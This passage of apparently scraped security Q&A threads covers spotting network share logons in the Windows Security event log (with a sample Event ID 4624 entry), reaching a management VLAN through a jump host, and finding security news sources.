and I can access each PC's filesystem via '\' if I state the "Master User" credentials, once the login window pops up.

since I was not connected to the PC via a remote desktop session, but just navigated via the filesystem explorer, is there any way of knowing about it?

That is if someone did it for my PC?

Yes. The Windows event log (eventvwr.msc) on the local machine will show the logon in the Security log.

For example, the event details might look like this:

Log Name:      Security
Source:        Microsoft-Windows-Security-Auditing
Date:          23/03/2015 13:08:55
Event ID:      4624
Task Category: Logon
Level:         Information
Keywords:      Audit Success
User:          N/A
Computer:      POLYBOX
Description:
An account was successfully logged on.

Subject:
    Security ID:        SYSTEM
    Account Name:       POLYBOX$
    Account Domain:     WORKGROUP
    Logon ID:       0x3e7

Logon Type:         7

New Logon:
    Security ID:        POLYBOX\polynomial
    Account Name:       polynomial
    Account Domain:     POLYBOX
    Logon ID:       0x55539572
    Logon GUID:     {00000000-0000-0000-0000-000000000000}

Process Information:
    Process ID:     0x2f4
    Process Name:       C:\Windows\System32\winlogon.exe

Network Information:
    Workstation Name:   POLYBOX
    Source Network Address: 10.0.99.11
    Source Port:        12345

Detailed Authentication Information:
    Logon Process:      User32
    Authentication Package: Negotiate
    Transited Services: -
    Package Name (NTLM only):   -
    Key Length:     0

Alternatively, security auditing can be set up to monitor the access of securable objects (files, registry keys, services, processes, users, groups, etc.) and provide a rich listing of changes made.


Management Network Best Practices I am looking at setting up a Management vlan, on which I will put all the Management interfaces for my various networkable devices (Firewall Mgmt Interfaces, Server RAC, WAP Mgmt Interfaces, etc).

What are best practices when it comes to accessing that mgmt vlan--For example, as the IT administrator, my workstation is only on the Business network--But if I need to access the firewall through the mgmt interface, should I have a 2nd nic that I use exclusively for the mgmt network? Or should I write ACLs that allow only certain IPs (my workstation) to access the mgmt network?

One way I've seen this setup, which seemed like a reasonable approach was to allow access from a single host to the management LAN and then have anyone need access connect to that device via rdp or ssh and from there on to the management network.

An advantage of this approach is you reduce visibility of the management network in terms of scanning but you're not tied down to accessing from specific hosts as you would be with a multiple nic solution.

Another advantage is that it should allow for easier auditing of what actions are taken on  devices in the management LAN, by auditing activity on the gateway host.

Of course securing that host becomes very important, both in terms of authenticating the admins connecting to it and auditing activity.


How to "get in sync" with what is happening in the security scene right now? Possible Duplicate:
  What security resources should a white-hat developer follow these days?

A colleague of mine already has some understanding of security fundamentals but still needs "get in sync" with what is happening in the international security scene today. What online resources should I suggest?

My suggestions so far have been:

Follow developing stories by regularly reading something like SANS Newsbytes, Cryptogram etc.
Follow a number of "Security Rock Stars" at their blogs or on twitter.
Attend security conferences (preferably ones short on marketing, generous on technical presentations)
Check the questions at this site to see trends. Read technical papers, explore technologies to gain a deeper understanding, as needed

I'd be grateful to hear your suggestions too. Which are the really good mailing lists? Any security blogger/twitterer one should not miss? Other approaches?

From looking in the right hand column for "Related" posts for this question, I have the following:

Resources to learn about security
What resources should a white hat follow
List of good security blogs
Best security conferences
List of security podcasts

These have some good value links.

I tend to add the best ones to my RSS feed and read them in Google Reader while on the train commute.